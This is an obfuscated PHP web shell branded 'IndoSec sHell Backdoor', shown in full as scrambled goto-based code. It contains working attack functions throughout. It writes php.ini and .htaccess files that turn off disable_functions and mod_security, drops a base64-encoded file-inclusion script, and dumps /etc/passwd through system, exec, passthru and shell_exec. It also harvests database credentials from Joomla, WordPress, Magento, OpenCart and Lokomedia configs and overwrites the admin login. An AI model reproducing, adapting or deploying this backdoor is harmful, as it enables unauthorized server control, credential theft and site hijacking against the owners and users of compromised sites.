cuJDY; cuJDY: echo "<div class='card card-body text-center text-dark'> 
\x9	<h4 class='text-center mt-2 mb-3'>Bypass Disable Functions</h2>\xd 
\x9	<form method='POST'>\xd 
\x9\x9\x9<input type='submit' class='btn btn-danger' name='ini' value='php.ini'/> 
	\x9	<input type='submit' class='btn btn-danger' name='htce' value='.htaccess'/> 
	\x9	<input type='submit' class='btn btn-danger' name='litini' value='Litespeed'/>\xd\xa		</form>"; goto WXm5z; bMCex: echo "</div>"; goto OeQKP; WXm5z: if (isset($_POST["ini"])) { goto RogF8; pkAjO: fclose($file); goto tMMTu; tMMTu: echo "<a href='php.ini' class='btn btn-success btn-block' target='_blank'>Klik Coeg!</a>"; goto axAib; RogF8: $file = fopen("php.ini", "w"); goto BjIBX; BjIBX: echo fwrite($file, "safe_mode = OFF\xadisable_functions = NONE"); goto pkAjO; axAib: } elseif (isset($_POST["htce"])) { goto ydTsf; j0h9Q: fclose($file); goto UiIen; kEtwp: echo fwrite($file, "<IfModule mod_security.c> 
SecFilterEngine Off\xaSecFilterScanPOST Off\xa</IfModule>"); goto j0h9Q; ydTsf: $file = fopen(".htaccess", "w"); goto kEtwp; UiIen: echo "<p>.htaccess successfully created!</p>"; goto LqXJD; LqXJD: } elseif (isset($_POST["litini"])) { goto aTyLP; XOaIQ: $swa = "success"; goto QFOLi; QFOLi: $text = "Disable Functions in Litespeed Created"; goto RsPl8; aTyLP: $iniph = "PD8gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbImZpbGUiXSk7DQplY2hvIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbInNzIl07DQo/Pg=="; goto ZHiHz; MRtpH: file_put_contents(".htaccess", $comp); goto XOaIQ; AnEM7: file_put_contents("php.ini", $byph); goto RhI14; RhI14: file_put_contents("ini.php", $iniph); goto MRtpH; RsPl8: swall($swa, $text, $dir); goto u5S3u; ZHiHz: $byph = "safe_mode = OFF 
disable_functions = NONE"; goto QxTkr; QxTkr: $comp = "<Files *.php> 
ForceType application/x-httpd-php4 
</Files>"; goto AnEM7; u5S3u: } goto bMCex; OeQKP: } goto S4pkQ; ss2lY: echo "&nbsp;&nbsp;[ " . w($dir, perms($dir)) . " ]"; goto nXepv; mP4ds: $path = str_replace("\", "/", $path); goto SjvR3; wrsRs: if ($_GET["aksi"] == "adminer") { aksiAdminer($dir, $file); } goto tlikY; dmN97: function login_shell() { echo "<!DOCTYPE html>\xd 
<html>\xd 
\x9<head> 
	\x9<meta name="viewport" content="widht=device-widht, initial-scale=1.0"/> 
\xa\x9\x9<meta name="theme-color" content="#343a40"/>\xd 
\x9	<meta name="author" content="Holiq"/>\xd\xa		<meta name="copyright" content="{ IndoSec }"/>\xd 
\x9	<title>{ IndoSec sHell }</title>\xd 
		<link rel="icon" type="image/png" href="https://www.holiq.projectku.ga/indosec.png"/>\xd\xa		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/> 
\x9\x9<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css"/>\xd 
\x9</head>\xd 
	<body class="bg-dark text-center text-light">\xd 
	\x9<div class="container text-center mt-3"> 
\xa\x9	\x9<h1>{ INDOSEC }</h1> 
			<h5>sHell Backdoor</h5><hr/> 
\xa\x9	\x9<p class="mt-3 font-weight-bold"><i class="fa fa-terminal"></i> Please Login</p> 
	\x9	<form method="post">\xd 
\x9\x9\x9	<div class="form-group input-group">\xd\xa	\x9	\x9	<div class="input-group-prepend">\xd\xa	\x9\x9\x9		<div class="input-group-text"><i class="fa fa-user"></i></div>\xd\xa	\x9\x9	\x9</div> 
					<input type="password" name="pass" placeholder="User Id..." class="form-control"> 
		\x9	</div>\xd 
		\x9	<input type="submit" class="btn btn-danger btn-block" class="form-control" value="Login">\xd\xa\x9\x9\x9</form> 
\xa\x9\x9</div> 
		<a href="https://facebook.com/IndoSecOfficial" class="text-muted fixed-bottom mb-3">Copyright 2019 @ { IndoSec }</a>\xd 
	</body> 
\xa</html> 
\xa"; exit; } goto p4LcE; SVbJ1: function perms($file) { goto MIbz3; F0xsA: if (($perms & 0xc000) == 0xc000) { $info = "s"; } elseif (($perms & 0xa000) == 0xa000) { $info = "l"; } elseif (($perms & 0x8000) == 0x8000) { $info = "-"; } elseif (($perms & 0x6000) == 0x6000) { $info = "b"; } elseif (($perms & 0x4000) == 0x4000) { $info = "d"; } elseif (($perms & 0x2000) == 0x2000) { $info = "c"; } elseif (($perms & 0x1000) == 0x1000) { $info = "p"; } else { $info = "u"; } goto K_QcC; sOA5O: $info .= $perms & 0x20 ? "r" : "-"; goto oII2R; dMd0a: $info .= $perms & 0x80 ? "w" : "-"; goto Z3SPB; K_QcC: $info .= $perms & 0x100 ? "r" : "-"; goto dMd0a; Z3SPB: $info .= $perms & 0x40 ? $perms & 0x800 ? "s" : "x" : ($perms & 0x800 ? "S" : "-"); goto sOA5O; oII2R: $info .= $perms & 0x10 ? "w" : "-"; goto svGUC; XfxdM: return $info; goto nyG5c; c7NDv: $info .= $perms & 0x1 ? $perms & 0x200 ? "t" : "x" : ($perms & 0x200 ? "T" : "-"); goto XfxdM; svGUC: $info .= $perms & 0x8 ? $perms & 0x400 ? "s" : "x" : ($perms & 0x400 ? "S" : "-"); goto tGBBe; MIbz3: $perms = fileperms($file); goto F0xsA; O803U: $info .= $perms & 0x2 ? "w" : "-"; goto c7NDv; tGBBe: $info .= $perms & 0x4 ? "r" : "-"; goto O803U; nyG5c: } goto Il_fQ; AjRpV: function chmodFile($dir, $file, $nfile) { goto IatvF; F0Uq7: if (isset($_POST["perm"])) { if (@chmod($_GET["file"], $_POST["perm"])) { echo "<font color="lime">Change Permission Berhasil</font><br/>"; } else { echo "<font color="white">Change Permission Gagal</font><br/>"; } } goto nDEZH; IatvF: echo "<form method='POST'>\xd\xa\x9	<h5>Chmod File : {$nfile} </h5> 
\x9\x9<div class='form-group input-group'>\xd 
\x9	\x9<input type='text' name='perm' class='form-control' value='" . substr(sprintf("%o", fileperms($_GET["file"])), -4) . "'>\xd 
			<input type='submit' class='btn btn-danger form-control' value='Chmod'> 
\x9\x9</div>\xd 
	</form>"; goto F0Uq7; nDEZH: exit; goto jyT_l; jyT_l: } goto RUSfB; RUSfB: function buatFile($dir, $imgfile) { echo "<h4>{$imgfile} Buat File :</h4> 
\xa\x9<form method='POST'> 
\xa	\x9<div class='input-group'> 
		\x9<input type='text' class='form-control' name='nama_file[]' placeholder='Nama File...'> 
		\x9<div class='input-group-prepend'> 
\xa				<div class='input-group-text'><a id='add_input'><i class='fa fa-plus'></i></a></div> 
\xa\x9\x9	</div>\xd 
\x9\x9</div><br/>\xd 
		<div id='output'></div> 
\xa	\x9<textarea name='isi_file' class='form-control' rows='13' placeholder='Isi File...'></textarea><br/>\xd 
\x9	<input type='submit' class='btn btn-info btn-block' name='bikin' value='Buat'>\xd 
\x9</form>"; if (isset($_POST["bikin"])) { goto TXybf; bP48H: $isi_file = $_POST["isi_file"]; goto TIjwc; LJgHB: if ($buat) { goto DB0UR; DB0UR: $swa = "success"; goto ru_ZD; ru_ZD: $text = "Berhasil Membuat File"; goto Qdj2z; Qdj2z: swall($swa, $text, $dir); goto xfboQ; xfboQ: } else { goto X6ZNE; tPblB: swall($swa, $text, $dir); goto l7oxO; rMoT8: $text = "Gagal Membuat File"; goto tPblB; X6ZNE: $swa = "error"; goto rMoT8; l7oxO: } goto o9oIc; TIjwc: foreach ($name as $nama_file) { $handle = @fopen("{$nama_file}", "w"); if ($isi_file) { $buat = @fwrite($handle, $isi_file); } else { $buat = $handle; } } goto LJgHB; TXybf: $name = $_POST["nama_file"]; goto bP48H; o9oIc: } } goto zepmk; yhEJG: echo "</table></div><hr/> 
\xa\x9			<center><a class="text-muted" href="https://facebook.com/IndoSecOfficial">Copyright 2019 { IndoSec }</a></center><br/>"; goto xz2zF; vWrZ6: function buatFolder($dir, $imgfol) { echo "<h5>{$imgfol} Buat Folder :</h5>\xd\xa	<form method='POST'>\xd 
\x9\x9<div class='input-group'> 
\xa\x9	\x9<input type='text' class='form-control' name='nama_folder[]' placeholder='Nama Folder...'>\xd\xa\x9		<div class='input-group-prepend'> 
	\x9	\x9<div class='input-group-text'><a id='add_input1'><i class='fa fa-plus'></i></a></div>\xd 
\x9	\x9</div>\xd\xa		</div><br/> 
\xa		<div id='output1'></div>\xd 
\x9\x9<input type='submit' class='btn btn-info btn-block' name='buat' value='Buat'> 
	</form>"; if (isset($_POST["buat"])) { goto leHC9; ENzR_: foreach ($nama as $nama_folder) { $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $nama_folder); $fd = @mkdir($folder); } goto fXIC_; fXIC_: if ($fd) { goto gCL6f; mNXyP: $text = "Berhasil Membuat Folder"; goto rISM9; rISM9: swall($swa, $text, $dir); goto H9ojP; gCL6f: $swa = "success"; goto mNXyP; H9ojP: } else { goto nYM5r; nYM5r: $swa = "error"; goto XjzSP; XjzSP: $text = "Gagal Membuat Folder"; goto LIuSK; LIuSK: swall($swa, $text, $dir); goto Inr66; Inr66: } goto FmuXF; leHC9: $nama = $_POST["nama_folder"]; goto ENzR_; FmuXF: } } goto Pr5dP; yu_yk: if ($_GET["aksi"] == "sym_404") { sym404($dir, $file); } goto WUrcF; JC923: if ($_GET["aksi"] == "masdef") { aksiMasdef($dir, $file, $imgfol, $imgfile); } goto Ejk2k; ZxAyc: $free = disk_free_space($dir); goto MGkZQ; Cykyt: function ambilKata($param, $kata1, $kata2) { goto Ltda4; O9CUy: $return = substr($param, $start, $end - $start); goto cEEe0; xgMRn: $start = strpos($param, $kata1) + strlen($kata1); goto cPnYi; cPnYi: $end = strpos($param, $kata2, $start); goto O9CUy; Ltda4: if (strpos($param, $kata1) === FALSE) { return FALSE; } goto J8Y89; J8Y89: if (strpos($param, $kata2) === FALSE) { return FALSE; } goto xgMRn; cEEe0: return $return; goto pbRDo; pbRDo: } goto PRVva; HPFNR: function about() { echo "<div class="card text-center bg-light about"> 
\xa\x9\x9<h4 class="card-header">{ IndoSec }</h4> 
\xa		<div class="card-body">\xd 
		\x9<center><div class="img"></div></center>\xd\xa	\x9	<p class="card-text">{ IndoSec } Adalah Sebuah Komunitas Yang Berfokus Kepada Teknologi Di Indonesia, Dari Membuat Mengamankan Dan Mengexploitasi Sebuah Sistem.</p> 
		</div> 
\x9\x9<div class="card-footer"> 
\xa\x9	\x9<small class="card-text text-muted">Copyright 2019 { IndoSec }</small> 
\xa	\x9</div> 
	</div><br/>"; exit; } goto SgkPP; MuqZH: function autoEdit($dir, $file) { if ($_POST["hajar"]) { if (strlen($_POST["pass_baru"]) < 6 or strlen($_POST["user_baru"]) < 6) { echo "Username dan Password harus lebih dari 6 karakter"; } else { goto VU6Vg; nOtzz: $conf = $_POST["config_dir"]; goto g8oRO; tc_iq: foreach ($scan_conf as $file_conf) { goto WfS_A; EDVER: $config = file_get_contents("{$conf}/{$file_conf}"); goto Mspgj; Mspgj: if (preg_match("/JConfig|joomla/", $config)) { goto fuvaO; kWa51: $prefix = $dbprefix . "users"; goto keht7; uB1bz: echo "Config => " . $file_conf . "<br>"; goto oEIOg; keht7: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto ygRYN; fuvaO: $dbhost = ambilkata($config, "host = '", "'"); goto zBmGk; zBmGk: $dbuser = ambilkata($config, "user = '", "'"); goto khuHg; MzgFC: if ($site == '') { echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>"; } else { echo "Sitename => {$site}<br>"; } goto COide; AnXvI: $id = $result["id"]; goto obOYv; ygRYN: $db = mysql_select_db($dbname); goto uK484; qrs4a: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE id='{$id}'"); goto uB1bz; obOYv: $site = ambilkata($config, "sitename = '", "'"); goto qrs4a; B3phz: $result = mysql_fetch_array($q); goto AnXvI; khuHg: $dbpass = ambilkata($config, "password = '", "'"); goto WLLtj; oEIOg: echo "CMS => Joomla<br>"; goto MzgFC; COide: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto ZPL3v; uK484: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY id ASC"); goto B3phz; WLLtj: $dbname = ambilkata($config, "db = '", "'"); goto F3ydN; F3ydN: $dbprefix = ambilkata($config, "dbprefix = '", "'"); goto kWa51; ZPL3v: mysql_close($conn); goto WZPDj; WZPDj: } elseif (preg_match("/WordPress/", $config)) { goto cAtpC; gMe_3: $dbuser = ambilkata($config, "DB_USER', '", "'"); goto gPCtp; Pe2rs: $q2 = mysql_query("SELECT * FROM {$option} ORDER BY option_id ASC"); goto rgBZ2; EbwvB: if ($target == '') { $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $url_target = "Login => <a href='{$target}/wp-login.php' target='_blank'><u>{$target}/wp-login.php</u></a><br>"; } goto iJj0V; cAtpC: $dbhost = ambilkata($config, "DB_HOST', '", "'"); goto gMe_3; qwadN: $option = $dbprefix . "options"; goto p9dHQ; AzzQC: mysql_close($conn); goto odj1h; m3AKb: $dbname = ambilkata($config, "DB_NAME', '", "'"); goto bfq1R; p9dHQ: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto VcMKr; IJMtv: $prefix = $dbprefix . "users"; goto qwadN; vuC9i: echo "Config => " . $file_conf . "<br>"; goto Kl0mY; hpFI9: echo $url_target; goto Sk6i_; lJqDy: $result = mysql_fetch_array($q); goto nsq9h; gPCtp: $dbpass = ambilkata($config, "DB_PASSWORD', '", "'"); goto m3AKb; bfq1R: $dbprefix = ambilkata($config, "table_prefix  = '", "'"); goto IJMtv; z4Eez: $target = $result2[option_value]; goto EbwvB; Kl0mY: echo "CMS => Wordpress<br>"; goto hpFI9; VcMKr: $db = mysql_select_db($dbname); goto CjOVV; nsq9h: $id = $result[ID]; goto Pe2rs; Sk6i_: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto AzzQC; iJj0V: $update = mysql_query("UPDATE {$prefix} SET user_login='{$user_baru}',user_pass='{$pass_baru}' WHERE id='{$id}'"); goto vuC9i; rgBZ2: $result2 = mysql_fetch_array($q2); goto z4Eez; CjOVV: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY id ASC"); goto lJqDy; odj1h: } elseif (preg_match("/Magento|Mage_Core/", $config)) { goto xKgiu; CWqdG: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY user_id ASC"); goto XbaaJ; XbaaJ: $result = mysql_fetch_array($q); goto NZDtt; p1JIa: $dbname = ambilkata($config, "<dbname><![CDATA[", "]]></dbname>"); goto Y3x0b; cEfrq: $result2 = mysql_fetch_array($q2); goto pLqxI; kKCkA: $prefix = $dbprefix . "admin_user"; goto Ej5bL; BTAAs: mysql_close($conn); goto Y2tDL; YRuSs: echo "CMS => Magento<br>"; goto tjnA5; hUYbg: $db = mysql_select_db($dbname); goto CWqdG; pLqxI: $target = $result2[value]; goto RM_Bx; fPzPe: echo "Config => " . $file_conf . "<br>"; goto YRuSs; tjnA5: echo $url_target; goto KeSdm; PCwVL: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE user_id='{$id}'"); goto fPzPe; xKgiu: $dbhost = ambilkata($config, "<host><![CDATA[", "]]></host>"); goto A1MQ6; y4xAO: $dbpass = ambilkata($config, "<password><![CDATA[", "]]></password>"); goto p1JIa; NZDtt: $id = $result[user_id]; goto fLHnM; Y3x0b: $dbprefix = ambilkata($config, "<table_prefix><![CDATA[", "]]></table_prefix>"); goto kKCkA; RM_Bx: if ($target == '') { $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $url_target = "Login => <a href='{$target}/admin/' target='_blank'><u>{$target}/admin/</u></a><br>"; } goto PCwVL; A1MQ6: $dbuser = ambilkata($config, "<username><![CDATA[", "]]></username>"); goto y4xAO; KeSdm: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto BTAAs; Ej5bL: $option = $dbprefix . "core_config_data"; goto CrFqU; CrFqU: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto hUYbg; fLHnM: $q2 = mysql_query("SELECT * FROM {$option} WHERE path='web/secure/base_url'"); goto cEfrq; Y2tDL: } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) { goto rtKCB; XVSoG: $dbpass = ambilkata($config, "'DB_PASSWORD', '", "'"); goto FFcGv; Ob0Dx: $dbprefix = ambilkata($config, "'DB_PREFIX', '", "'"); goto LAQPw; I4Ucu: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto RnuZA; nfneQ: echo $url_target; goto NkokD; yzDfc: $result = mysql_fetch_array($q); goto VMP4U; FFcGv: $dbname = ambilkata($config, "'DB_DATABASE', '", "'"); goto Ob0Dx; qhAcF: mysql_close($conn); goto aFrGq; NkokD: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto qhAcF; LAQPw: $prefix = $dbprefix . "user"; goto I4Ucu; jDYWx: if ($target == '') { $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $url_target = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a><br>"; } goto czkav; rtKCB: $dbhost = ambilkata($config, "'DB_HOSTNAME', '", "'"); goto IFJkZ; czkav: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE user_id='{$id}'"); goto tTHtY; tTHtY: echo "Config => " . $file_conf . "<br>"; goto qj4rd; xhfn_: $target = ambilkata($config, "HTTP_SERVER', '", "'"); goto jDYWx; x20wo: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY user_id ASC"); goto yzDfc; qj4rd: echo "CMS => OpenCart<br>"; goto nfneQ; VMP4U: $id = $result[user_id]; goto xhfn_; IFJkZ: $dbuser = ambilkata($config, "'DB_USERNAME', '", "'"); goto XVSoG; RnuZA: $db = mysql_select_db($dbname); goto x20wo; aFrGq: } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $config)) { goto V3aWl; MLfha: $dbpass = ambilkata($config, "password = "", """); goto dIOw5; V3aWl: $dbhost = ambilkata($config, "server = "", """); goto cmkBt; mSq2u: mysql_close($conn); goto K0Rbr; v2PEm: $prefix = "users"; goto j1Xx_; b7Py6: $target = $result[alamat_website]; goto GR1tj; GR1tj: if ($target == '') { goto fEjiS; Tk_2c: if ($target2 == '') { $url_target2 = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { goto CoaUK; qFy3h: $cek_login4 = file_get_contents("{$target2}/lokomedia/adminweb/"); goto U3GsA; U3GsA: if (preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) { $url_target2 = "Login => <a href='{$target2}/adminweb' target='_blank'><u>{$target2}/adminweb</u></a><br>"; } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) { $url_target2 = "Login => <a href='{$target2}/lokomedia/adminweb' target='_blank'><u>{$target2}/lokomedia/adminweb</u></a><br>"; } else { $url_target2 = "Login => <a href='{$target2}' target='_blank'><u>{$target2}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; } goto GBbk4; CoaUK: $cek_login3 = file_get_contents("{$target2}/adminweb/"); goto qFy3h; GBbk4: } goto TnJxt; fEjiS: $target2 = $result[url]; goto NMWf6; NMWf6: $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; goto Tk_2c; TnJxt: } else { goto Phu4L; U6SOr: $cek_login2 = file_get_contents("{$target}/lokomedia/adminweb/"); goto rpHd_; rpHd_: if (preg_match("/CMS Lokomedia|Administrator/", $cek_login)) { $url_target = "Login => <a href='{$target}/adminweb' target='_blank'><u>{$target}/adminweb</u></a><br>"; } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) { $url_target = "Login => <a href='{$target}/lokomedia/adminweb' target='_blank'><u>{$target}/lokomedia/adminweb</u></a><br>"; } else { $url_target = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; } goto LyaSl; Phu4L: $cek_login = file_get_contents("{$target}/adminweb/"); goto U6SOr; LyaSl: } goto JJO5v; dIOw5: $dbname = ambilkata($config, "database = "", """); goto v2PEm; jNSfh: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto mSq2u; hDgQn: $q = mysql_query("SELECT * FROM {$option} ORDER BY id_identitas ASC"); goto a0u5M; tUuf9: echo "Config => " . $file_conf . "<br>"; goto vJTy1; vJTy1: echo "CMS => Lokomedia<br>"; goto k5I_V; cmkBt: $dbuser = ambilkata($config, "username = "", """); goto MLfha; k5I_V: if (preg_match("/Error, Tidak dapat mengambil nama domainnya/", $url_target)) { echo $url_target2; } else { echo $url_target; } goto jNSfh; afylr: $db = mysql_select_db($dbname); goto hDgQn; a0u5M: $result = mysql_fetch_array($q); goto b7Py6; JJO5v: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE level='admin'"); goto tUuf9; mLfpm: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto afylr; j1Xx_: $option = "identitas"; goto mLfpm; K0Rbr: } goto OuNCm; WfS_A: if (!is_file("{$conf}/{$file_conf}")) { continue; } goto EDVER; OuNCm: } goto WYsSx; g8oRO: $scan_conf = scandir($conf); goto tc_iq; VU6Vg: $user_baru = $_POST["user_baru"]; goto ExJU3; ExJU3: $pass_baru = md5($_POST["pass_baru"]); goto nOtzz; WYsSx: } } else { echo "<h3 class='text-center mb-4'>Auto Edit User</h3> 
\xa\x9\x9<form method='post'> 
\xa			<h5>Lokasi Dir Config</h5>\xd 
			<input type='text' class='form-control mb-3' name='config_dir' value='{$dir}'> 
\x9		<h5>Set User & Pass :</h5>\xd 
		\x9<input type='text' name='user_baru' value='indosec' class='form-control mb-3' placeholder='Set Username'> 
\xa	\x9\x9<input type='text' name='pass_baru' value='indosec' class='form-control mb-4' placeholder='Set Password'>\xd\xa\x9		<input type='submit' name='hajar' value='Edit User' class='btn btn-danger btn-block'> 
\xa\x9	</form>\xd 
\x9\x9<p class='text-muted mb-4'>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</p>"; } exit; } goto Q1kC3; cNm1V: $ndir = basename($dir); goto Flkqi; hhyOO: foreach ($paths as $id => $pat) { goto ciALZ; ypSZS: echo "">" . $pat . "</a>/"; goto eRqnK; ciALZ: if ($pat == '' && $id == 0) { goto Z9R4D; Z9R4D: $a = true; goto DaQLR; DaQLR: echo "<a href="?dir=/">/</a>"; goto ORBh3; ORBh3: continue; goto G8tgO; G8tgO: } goto rIhYz; rIhYz: if ($pat == '') { continue; } goto hknkG; jqNMF: for ($i = 0; $i <= $id; $i++) { echo "{$paths[$i]}"; if ($i != $id) { echo "/"; } } goto ypSZS; hknkG: echo "<a style="word-wrap:break-word;" href="?dir="; goto jqNMF; eRqnK: } goto hIOPi; hIOPi: $scandir = scandir($path); goto ss2lY; Kt0bP: if ($_GET["aksi"] == "rename") { renameFile($dir, $file, $nfile, $imgfile); } goto QLTzH; A3jfK: if ($_GET["aksi"] == "config") { aksiConfig($dir, $file); } goto GhJRN; o9j8b: if (isset($_GET["file"])) { $file = $_GET["file"]; } goto UGR7W; CEE4C: function aksiBypasswd($dir, $file) { goto dsRSN; yPVKZ: if ($_POST["shexuser"]) { goto Ag6OB; sc2xz: echo shell_exec("{$mail}"); goto zkKNS; zkKNS: echo "</textarea><br>"; goto D_Jqg; Ag6OB: echo "<textarea class='form-control' rows='13'>"; goto sc2xz; D_Jqg: } goto uG8iR; uG8iR: echo "</div>"; goto kL5nY; dsRSN: echo "<div claas="container">\xd\xa		<form method="POST">\xd 
\x9		<p class="text-center">Bypass etc/passwd With :</p> 
\xa\x9	\x9<div class="d-flex justify-content-center flex-wrap"> 
	\x9		<input type="submit" class="fiture btn btn-danger btn-sm" value="System Function" name="syst">\xd\xa\x9			<input type="submit" class="fiture btn btn-danger btn-sm" value="Passthru Function" name="passth"> 
\xa			\x9<input type="submit" class="fiture btn btn-danger btn-sm" value="Exec Function" name="ex">\xd 
\x9\x9		<input type="submit" class="fiture btn btn-danger btn-sm" value="Shell_exec Function" name="shex"> 
\x9\x9	\x9<input type="submit" class="fiture btn btn-danger btn-sm" value="Posix_getpwuid Function" name="melex">\xd\xa\x9	\x9</div><hr/> 
\x9		<p class="text-center">Bypass User With :</p> 
		\x9<div class="d-flex justify-content-center flex-wrap">\xd\xa\x9		\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Awk Program" name="awkuser">\xd\xa		\x9\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="System Function" name="systuser"> 
\xa		\x9\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Passthru Function" name="passthuser">\x9\xd\xa	\x9	\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Exec Function" name="exuser">\x9	 
\x9	\x9\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Shell_exec Function" name="shexuser"> 
\xa\x9	\x9</div> 
\xa\x9	</form>"; goto Aw6iH; Aw6iH: $mail = "ls /var/mail"; goto HK5IV; TmEC8: if ($_POST["passthuser"]) { goto vzd6I; j1jpR: echo "</textarea><br>"; goto Ck0oS; P9iBc: echo passthru("{$mail}"); goto j1jpR; vzd6I: echo "<textarea class='form-control' rows='13'>"; goto P9iBc; Ck0oS: } goto ONllC; ztpfj: if ($_POST["shex"]) { goto nW0Su; MJOhS: echo shell_exec("cat {$paswd}"); goto C4ueg; C4ueg: echo "</textarea><br/>"; goto SntWP; nW0Su: echo "<textarea class='form-control' rows='13'>"; goto MJOhS; SntWP: } goto XL78J; XL78J: if ($_POST["melex"]) { goto qoHp3; o6hDT: echo "</textarea><br/>"; goto Dp1Y2; LQfw0: for ($uid = 0; $uid < 6000; $uid++) { $ara = posix_getpwuid($uid); if (!empty($ara)) { while (list($key, $val) = each($ara)) { print "{$val}:"; } print "n"; } } goto o6hDT; qoHp3: echo "<textarea class='form-control' rows='13'>"; goto LQfw0; Dp1Y2: } goto JxV0U; WMs4i: if ($_POST["ex"]) { goto LXuDk; LXuDk: echo "<textarea class='form-control' rows='13'>"; goto OBPGI; hCVIG: echo "</textarea><br/>"; goto Tu_5s; OBPGI: echo exec("cat {$paswd}"); goto hCVIG; Tu_5s: } goto ztpfj; HK5IV: $paswd = "/etc/passwd"; goto MuuLb; v3bth: if ($_POST["systuser"]) { goto HuxQ0; wc5wp: echo "</textarea><br>"; goto w4wBl; hKzOD: echo system("{$mail}"); goto wc5wp; HuxQ0: echo "<textarea class='form-control' rows='13'>"; goto hKzOD; w4wBl: } goto TmEC8; kL5nY: exit; goto iHrDz; MuuLb: if ($_POST["syst"]) { goto QzR7j; m_2D2: echo system("cat {$paswd}"); goto F0zN7; QzR7j: echo "<textarea class='form-control' rows='13'>"; goto m_2D2; F0zN7: echo "</textarea><br/>"; goto CaqSM; CaqSM: } goto JXTVJ; ONllC: if ($_POST["exuser"]) { goto KQHpm; KQHpm: echo "<textarea class='form-control' rows='13'>"; goto cIQ2P; QjX_I: echo "</textarea><br>"; goto zv52t; cIQ2P: echo exec("{$mail}"); goto QjX_I; zv52t: } goto yPVKZ; JXTVJ: if ($_POST["passth"]) { goto niuJd; Kccfw: echo "</textarea><br/>"; goto rduDI; niuJd: echo "<textarea class='form-control' rows='13'>"; goto fQoPp; fQoPp: echo passthru("cat {$paswd}"); goto Kccfw; rduDI: } goto WMs4i; JxV0U: if ($_POST["awkuser"]) { echo "<textarea class='form-control' rows='13'> 
	\x9	\x9" . shell_exec("awk -F: '{ print $1 }' {$paswd} | sort") . "\xd 
			</textarea><br/>"; } goto v3bth; iHrDz: } goto t4EOb; PRVva: $d0mains = @file("/etc/named.conf", false); goto ecDhJ; UX23f: if ($_GET["aksi"] == "resetpasscp") { resetCp($dir); } goto xBMpg; Pr5dP: function renameFolder($dir, $ndir, $imgfol) { goto XmeVb; Ht5hA: exit; goto z_kwc; XmeVb: echo "[ <a href='?dir=" . $dir . "&aksi=rename_folder' class='active'>Rename</a> ]  [ <a href='?dir=" . $dir . "&aksi=hapus_folder'>Delete</a> ]  
\xa\x9<h5>{$imgfol} Rename Folder : {$ndir} </h5>\xd\xa\x9<form method='POST'>\xd 
\x9\x9<input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...' value='{$nama}'><br/>\xd 
\x9	<button type='sumbit' class='btn btn-info btn-block' name='ganti'>Ganti!!</button><br/> 
